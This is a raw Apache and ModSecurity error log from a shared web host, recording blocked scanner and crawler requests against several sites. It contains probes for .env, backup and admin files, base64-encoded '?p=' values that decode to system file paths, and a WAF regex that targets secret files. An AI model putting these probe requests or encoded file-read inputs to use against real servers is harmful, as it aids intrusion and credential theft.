Jun 13 18:19:53.129660 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:53.130085 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:53.254887 2026] [security2:error] [pid 648189:tid 648460] [client 185.177.72.9:37216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin/sqladmin.php"] [unique_id "ai3zqVWSojQL4F7upKB_WgAAAOo"] [Sat Jun 13 18:19:53.425606 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.97:52168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:53.425893 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.97:52168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:53.522996 2026] [security2:error] [pid 648189:tid 648398] [client 185.177.72.9:60398] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin/phpmyadmin.php"] [unique_id "ai3zqVWSojQL4F7upKB_ZQAAALI"] [Sat Jun 13 18:19:53.651702 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:19:53.652090 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:19:53.702115 2026] [security2:error] [pid 648189:tid 648320] [remote 17.241.219.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zqVWSojQL4F7upKB_bgAA92E"] [Sat Jun 13 18:19:53.842933 2026] [security2:error] [pid 648189:tid 648307] [remote 17.22.253.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zqVWSojQL4F7upKB_cwAAh1U"] [Sat Jun 13 18:19:53.954204 2026] [security2:error] [pid 648189:tid 648332] [remote 17.246.15.164:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 164.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zqVWSojQL4F7upKB_fgAA620"] [Sat Jun 13 18:19:54.088415 2026] [access_compat:error] [pid 648189:tid 648301] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:54.088882 2026] [access_compat:error] [pid 648189:tid 648301] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:54.182367 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2lk [Sat Jun 13 18:19:54.182664 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2lk [Sat Jun 13 18:19:54.194778 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.55:53459] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:54.195051 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.55:53459] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:54.462606 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.112:32014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:54.462942 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.112:32014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:54.655593 2026] [security2:error] [pid 648189:tid 648418] [client 185.177.72.9:60400] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.well-known/.env"] [unique_id "ai3zqlWSojQL4F7upKB_oQAAAMU"] [Sat Jun 13 18:19:54.681286 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:54.681549 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:54.722907 2026] [access_compat:error] [pid 648189:tid 648303] [remote 74.7.227.22:54240] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:19:54.723329 2026] [access_compat:error] [pid 648189:tid 648303] [remote 74.7.227.22:54240] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:19:54.976214 2026] [security2:error] [pid 648189:tid 648322] [remote 17.22.237.22:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zqlWSojQL4F7upKB_rQAAy2M"] [Sat Jun 13 18:19:54.991670 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.80:35589] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:54.992189 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.80:35589] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:55.083115 2026] [security2:error] [pid 648189:tid 648449] [client 185.177.72.9:60400] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/install.php"] [unique_id "ai3zq1WSojQL4F7upKB_tAAAAOM"] [Sat Jun 13 18:19:55.123296 2026] [security2:error] [pid 648189:tid 648311] [remote 57.141.14.52:23140] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/beta/content/histanddynasties/content/histanddynasties/SouthernQi/Shang/SouthernLiang/Qing/EasternZhou/SouthernLiang/SouthernSong/kangxi.php"] [unique_id "ai3zq1WSojQL4F7upKB_tgAAzFk"] [Sat Jun 13 18:19:55.143590 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.76:30839] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:55.144023 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.76:30839] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:55.155365 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.108:29369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:55.155836 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.108:29369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:55.185533 2026] [security2:error] [pid 648189:tid 648287] [remote 57.141.14.102:50481] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zq1WSojQL4F7upKB_vAAAiEE"], referer: https://nelsonfarmstn.com/product/sparkling-clean/?add_to_wishlist=391&_wpnonce=dacad5c21f&add-to-cart=402 [Sat Jun 13 18:19:55.231809 2026] [security2:error] [pid 648189:tid 648344] [remote 17.246.19.179:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zq1WSojQL4F7upKB_vgAAl3k"] [Sat Jun 13 18:19:55.290489 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:19:55.290948 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:19:55.304165 2026] [security2:error] [pid 648189:tid 648243] [remote 5.175.167.71:55574] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.167.175.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "paulmerceronline.com"] [uri "/wp-login.php"] [unique_id "ai3zq1WSojQL4F7upKB_wwAAnxY"] [Sat Jun 13 18:19:55.351448 2026] [security2:error] [pid 648189:tid 648402] [client 185.177.72.9:60412] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/setup.php"] [unique_id "ai3zq1WSojQL4F7upKB_xQAAALY"] [Sat Jun 13 18:19:55.411990 2026] [access_compat:error] [pid 648189:tid 648268] [remote 57.141.14.42:43288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:55.412289 2026] [access_compat:error] [pid 648189:tid 648268] [remote 57.141.14.42:43288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:55.626782 2026] [security2:error] [pid 648189:tid 648446] [client 185.177.72.9:60422] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/setup-config.php"] [unique_id "ai3zq1WSojQL4F7upKB_1QAAAOA"] [Sat Jun 13 18:19:55.712187 2026] [security2:error] [pid 648189:tid 648260] [remote 17.22.237.95:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zq1WSojQL4F7upKB_3gAA5CY"] [Sat Jun 13 18:19:55.822331 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL21vdXNlMC9kZXZpY2UvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:19:55.822745 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL21vdXNlMC9kZXZpY2UvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:19:55.900132 2026] [security2:error] [pid 648189:tid 648355] [client 185.177.72.9:60438] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/configuration.bak"] [unique_id "ai3zq1WSojQL4F7upKB_6QAAAIc"] [Sat Jun 13 18:19:56.033772 2026] [security2:error] [pid 648189:tid 648482] [client 185.177.72.9:60438] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/app_dev.php"] [unique_id "ai3zrFWSojQL4F7upKB_6wAAAQA"] [Sat Jun 13 18:19:56.141296 2026] [security2:error] [pid 648189:tid 648307] [remote 17.241.227.15:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 15.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zrFWSojQL4F7upKB_8wAAiFU"] [Sat Jun 13 18:19:56.151234 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.83:61418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:56.151698 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.83:61418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:56.301273 2026] [security2:error] [pid 648189:tid 648389] [client 185.177.72.9:60448] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg 